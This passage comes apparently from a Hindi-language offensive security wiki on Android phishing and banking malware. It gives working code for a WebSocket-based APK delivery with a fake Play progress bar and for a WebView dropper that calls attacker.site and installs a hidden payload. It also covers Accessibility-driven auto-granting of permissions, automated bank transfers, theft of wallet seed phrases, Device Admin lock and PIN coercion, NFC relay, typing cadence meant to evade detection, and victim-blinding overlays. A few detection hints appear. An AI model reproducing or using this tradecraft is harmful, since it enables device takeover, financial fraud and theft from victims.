// Accumulate binary chunks and drive fake Play progress UI const chunks = []; socket.on(“chunk”, (chunk) => chunks.push(chunk)); socket.on(“downloadProgress”, (p) => updateProgressBar(p));

// Assemble APK client‑side and trigger browser save dialog socket.on(“downloadComplete”, () => { const blob = new Blob(chunks, { type: “application/vnd.android.package-archive” }); const url = URL.createObjectURL(blob); const a = document.createElement(“a”); a.href = url; a.download = “app.apk”; a.style.display = “none”; document.body.appendChild(a); a.click(); });

</details>

Why it evades simple controls:
- कोई स्थिर APK URL उजागर नहीं होता; payload को WebSocket फ्रेम्स से मेमोरी में पुनर्निर्मित किया जाता है।
- URL/MIME/extension फिल्टर्स जो सीधे .apk प्रतिक्रियाओं को ब्लॉक करते हैं, वे WebSockets/Socket.IO के माध्यम से टनेल किए गए बाइनरी डेटा को मिस कर सकते हैं।
- Crawlers और URL sandboxes जो WebSockets का निष्पादन नहीं करते, वे payload को प्राप्त नहीं कर पाएंगे।

See also WebSocket tradecraft and tooling:

<a class="content_ref" href="../../pentesting-web/websocket-attacks.md"><span class="content_ref_label">WebSocket Attacks</span></a>


## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – RatOn केस स्टडी

The RatOn banker/RAT campaign (ThreatFabric) एक ठोस उदाहरण है कि कैसे आधुनिक mobile phishing ऑपरेशन्स WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover, और यहाँ तक कि NFC-relay orchestration को मिलाकर काम करते हैं। यह सेक्शन reusable techniques का सार प्रस्तुत करता है।

### Stage-1: WebView → native install bridge (dropper)
हमलावर एक WebView दिखाते हैं जो हमलावर पेज की ओर इशारा करता है और एक JavaScript interface inject करते हैं जो एक native installer को एक्सपोज़ करता है। HTML बटन पर टैप native कोड में कॉल करता है जो dropper के assets में bundled दूसरे-स्टेज APK को install करता है और फिर उसे सीधे लॉन्च कर देता है।

Minimal pattern:

<details>
<summary>Stage-1 dropper minimal pattern (Java)</summary>
```java
public class DropperActivity extends Activity {
@Override protected void onCreate(Bundle b){
super.onCreate(b);
WebView wv = new WebView(this);
wv.getSettings().setJavaScriptEnabled(true);
wv.addJavascriptInterface(new Object(){
@android.webkit.JavascriptInterface
public void installApk(){
try {
PackageInstaller pi = getPackageManager().getPackageInstaller();
PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
int id = pi.createSession(p);
try (PackageInstaller.Session s = pi.openSession(id);
InputStream in = getAssets().open("payload.apk");
OutputStream out = s.openWrite("base.apk", 0, -1)){
byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
}
PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
pi.commit(id, status.getIntentSender());
} catch (Exception e) { /* log */ }
}
}, "bridge");
setContentView(wv);
wv.loadUrl("https://attacker.site/install.html");
}
}

पेज पर HTML:

<button onclick="bridge.installApk()">Install</button>

इंस्टॉल के बाद, dropper explicit package/activity के माध्यम से payload शुरू करता है:

Intent i = new Intent();
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
startActivity(i);

Hunting idea: अविश्वसनीय ऐप्स addJavascriptInterface() को कॉल कर रहे हैं और WebView को installer-like methods एक्सपोज़ कर रहे हैं; APK assets/ के तहत एक embedded secondary payload शिप कर रहा है और Package Installer Session API को invoke कर रहा है।

अनुमति फ़नल: Accessibility + Device Admin + follow-on runtime prompts

Stage-2 एक WebView खोलता है जो “Access” पेज होस्ट करता है। उसका बटन एक exported method को invoke करता है जो विक्टिम को Accessibility settings पर ले जाता है और rogue service को सक्षम करने का अनुरोध करता है। एक बार अनुमति मिलने के बाद, malware Accessibility का उपयोग करके बाद के runtime permission dialogs (contacts, overlay, manage system settings, आदि) में auto-click कर देता है और Device Admin का अनुरोध करता है।

• Accessibility प्रोग्रामेटिकली बाद के prompts स्वीकार करने में मदद करता है, node-tree में “Allow”/“OK” जैसे बटनों को ढूंढकर और क्लिक dispatch करके।
• Overlay permission check/request:

if (!Settings.canDrawOverlays(ctx)) {
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
Uri.parse("package:" + ctx.getPackageName()));
ctx.startActivity(i);
}

देखें:

Accessibility Services Abuse

ओवरले phishing/ransom via WebView

Operators कमांड जारी कर सकते हैं:

• URL से फुल-स्क्रीन ओवरले रेंडर करना, या
• इनलाइन HTML पास करना जो WebView ओवरले में लोड हो।

संभावित उपयोग: coercion (PIN entry), wallet खोलकर PIN कैप्चर करना, ransom messaging। सुनिश्चित करें कि अगर गायब हो तो ओवरले अनुमति (overlay permission) प्रदान की गई है — इसके लिए एक कमांड रखें।

Remote control model – text pseudo-screen + screen-cast

• Low-bandwidth: periodically Accessibility node tree को डंप करें, दिखाई देने वाले texts/roles/bounds को सीरियलाइज़ करके C2 को pseudo-screen के रूप में भेजें (commands like txt_screen once and screen_live continuous)।
• High-fidelity: MediaProjection अनुरोध करें और मांग पर screen-casting/recording शुरू करें (commands like display / record)।

ATS playbook (bank app automation)

एक JSON task दिए जाने पर, bank app खोलें, Accessibility के माध्यम से UI को text queries और coordinate taps के मिश्रण से ड्राइव करें, और जब पूछा जाए तो पीड़ित का payment PIN दर्ज करें।

Example task:

{
"cmd": "transfer",
"receiver_address": "ACME s.r.o.",
"account": "123456789/0100",
"amount": "24500.00",
"name": "ACME"
}

Example texts seen in one target flow (CZ → EN):

• “Nová platba” → “नया भुगतान”
• “Zadat platbu” → “भुगतान दर्ज करें”
• “Nový příjemce” → “नया प्राप्तकर्ता”
• “Domácí číslo účtu” → “घरेलू खाता संख्या”
• “Další” → “अगला”
• “Odeslat” → “भेजें”
• “Ano, pokračovat” → “हाँ, जारी रखें”
• “Zaplatit” → “भुगतान करें”
• “Hotovo” → “हो गया”

ऑपरेटर check_limit और limit जैसे कमांड्स के माध्यम से transfer limits को भी जांच/बढ़ा सकते हैं, जो limits UI में समान रूप से नेविगेट करते हैं।

Crypto wallet seed extraction

लक्ष्य: MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: unlock (stolen PIN or provided password), navigate to Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it. भाषाओं में नेविगेशन को स्थिर करने के लिए locale-aware selectors (EN/RU/CZ/SK) लागू करें।

Device Admin coercion

Device Admin APIs का उपयोग PIN-capture के अवसर बढ़ाने और पीड़ित को परेशान करने के लिए किया जाता है:

• Immediate lock:

dpm.lockNow();

• वर्तमान credential की अवधि समाप्त करें ताकि परिवर्तन मजबूर हो (Accessibility नए PIN/password को कैप्चर करता है):

dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner

• keyguard की बायोमेट्रिक फीचर्स को अक्षम करके गैर-बायोमेट्रिक अनलॉक मजबूर करें:

dpm.setKeyguardDisabledFeatures(admin,
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);

नोट: हालिया Android पर कई DevicePolicyManager नियंत्रणों के लिए Device Owner/Profile Owner आवश्यक होते हैं; कुछ OEM बिल्ड ढीले हो सकते हैं। हमेशा लक्षित OS/OEM पर सत्यापित करें।

NFC relay orchestration (NFSkate)

Stage-3 एक external NFC-relay module (उदा., NFSkate) इंस्टॉल और लॉन्च कर सकता है और रिले के दौरान पीड़ित का मार्गदर्शन करने के लिए इसे एक HTML टेम्पलेट भी दे सकता है। इससे online ATS के साथ-साथ contactless card-present cash-out सक्षम होता है।

पृष्ठभूमि: NFSkate NFC relay.

Operator command set (sample)

• UI/state: txt_screen, screen_live, display, record
• Social: send_push, Facebook, WhatsApp
• Overlays: overlay (inline HTML), block (URL), block_off, access_tint
• Wallets: metamask, trust, blockchain, phantom
• ATS: transfer, check_limit, limit
• Device: lock, expire_password, disable_keyguard, home, back, recents, power, touch, swipe, keypad, tint, sound_mode, set_sound
• Comms/Recon: update_device, send_sms, replace_buffer, get_name, add_contact
• NFC: nfs, nfs_inject

Accessibility-driven ATS anti-detection: human-like text cadence and dual text injection (Herodotus)

Threat actors तेजी से Accessibility-आधारित automation को ऐसे anti-detection के साथ मिलाते जा रहे हैं जो बुनियादी व्यवहार-आधारित बायोमेट्रिक्स के खिलाफ tuned हैं। एक हालिया banker/RAT में दो पूरक text-delivery मोड और एक ऑपरेटर टॉगल दिखता है जो randomized cadence के साथ मानव टाइपिंग का अनुकरण करता है।

• Discovery mode: क्रियान्वयन से पहले इनपुट्स को सटीक रूप से लक्षित करने के लिए selectors और bounds के साथ दिखाई देने वाले nodes को enumerate करें (ID, text, contentDescription, hint, bounds)।
• Dual text injection:
• Mode 1 – ACTION_SET_TEXT सीधे target node पर (stable, no keyboard);
• Mode 2 – clipboard set + ACTION_PASTE को focused node में पेस्ट करें (जब direct setText blocked हो तो काम करता है)।
• Human-like cadence: ऑपरेटर-प्रदान किए गए स्ट्रिंग को विभाजित करें और इसे character-by-character दें, घटनाओं के बीच randomized 300–3000 ms की देरी के साथ ताकि “machine-speed typing” heuristics को चालाकी से टाला जा सके। इसे या तो ACTION_SET_TEXT के माध्यम से मान को धीरे-धीरे बढ़ाकर लागू किया जा सकता है, या एक-एक कर अक्षर पेस्ट करके।

</details>

धोखाधड़ी को छुपाने के लिए ब्लॉकिंग ओवरले:
- पूरे-स्क्रीन `TYPE_ACCESSIBILITY_OVERLAY` रेंडर करें जिसकी ऑपरेटर-नियंत्रित अपारदर्शिता हो; इसे पीड़ित के लिए अपारदर्शी रखें जबकि रिमोट ऑटोमेशन इसके नीचे चलता रहे।
- आमतौर पर उपलब्ध कमांड: `opacityOverlay <0..255>`, `sendOverlayLoading <html/url>`, `removeOverlay`.

समायोज्य alpha के साथ न्यूनतम ओवरले:
```java
View v = makeOverlayView(ctx); v.setAlpha(0.92f); // 0..1
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY,
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |
WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL,
PixelFormat.TRANSLUCENT);
wm.addView(v, lp);